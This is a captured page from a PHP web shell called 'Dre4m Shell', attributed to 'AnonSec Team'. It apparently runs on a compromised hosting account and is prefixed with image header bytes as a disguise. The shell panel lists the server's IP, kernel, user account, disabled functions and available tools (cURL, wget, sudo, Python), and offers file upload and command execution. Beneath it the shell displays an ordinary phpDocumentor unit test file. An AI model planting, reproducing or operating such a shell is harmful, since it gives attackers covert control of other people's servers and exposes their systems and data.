ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 3.14.129.201
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/nicnAdmin/vendor/phpdocumentor/reflection-docblock/tests/unit/DocBlock/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/nicnAdmin/vendor/phpdocumentor/reflection-docblock/tests/unit/DocBlock//DescriptionTest.php
<?php
/**
 * This file is part of phpDocumentor.
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 *
 * @copyright 2010-2015 Mike van Riel<mike@phpdoc.org>
 * @license   http://www.opensource.org/licenses/mit-license.php MIT
 * @link      http://phpdoc.org
 */

namespace phpDocumentor\Reflection\DocBlock;

use Mockery as m;
use phpDocumentor\Reflection\DocBlock\Tags\Formatter\PassthroughFormatter;
use phpDocumentor\Reflection\DocBlock\Tags\Generic;

/**
 * @coversDefaultClass \phpDocumentor\Reflection\DocBlock\Description
 */
class DescriptionTest extends \PHPUnit_Framework_TestCase
{
    /**
     * @covers ::__construct
     * @covers ::render
     * @uses \phpDocumentor\Reflection\DocBlock\Tags\Generic
     * @uses \phpDocumentor\Reflection\DocBlock\Tags\BaseTag
     * @uses \phpDocumentor\Reflection\DocBlock\Tags\Formatter\PassthroughFormatter
     */
    public function testDescriptionCanRenderUsingABodyWithPlaceholdersAndTags()
    {
        $body = 'This is a %1$s body.';
        $expected = 'This is a {@internal significant } body.';
        $tags = [new Generic('internal', new Description('significant '))];

        $fixture = new Description($body, $tags);

        // without formatter (thus the PassthroughFormatter by default)
        $this->assertSame($expected, $fixture->render());

        // with a custom formatter
        $formatter = m::mock(PassthroughFormatter::class);
        $formatter->shouldReceive('format')->with($tags[0])->andReturn('@internal significant ');
        $this->assertSame($expected, $fixture->render($formatter));
    }

    /**
     * @covers ::__construct
     * @covers ::render
     * @covers ::__toString
     * @uses \phpDocumentor\Reflection\DocBlock\Tags\Generic
     * @uses \phpDocumentor\Reflection\DocBlock\Tags\BaseTag
     * @uses \phpDocumentor\Reflection\DocBlock\Tags\Formatter\PassthroughFormatter
     */
    public function testDescriptionCanBeCastToString()
    {
        $body = 'This is a %1$s body.';
        $expected = 'This is a {@internal significant } body.';
        $tags = [new Generic('internal', new Description('significant '))];

        $fixture = new Description($body, $tags);

        $this->assertSame($expected, (string)$fixture);
    }

    /**
     * @covers ::__construct
     * @expectedException \InvalidArgumentException
     */
    public function testBodyTemplateMustBeAString()
    {
        new Description([]);
    }
}

Anon7 - 2022
AnonSec Team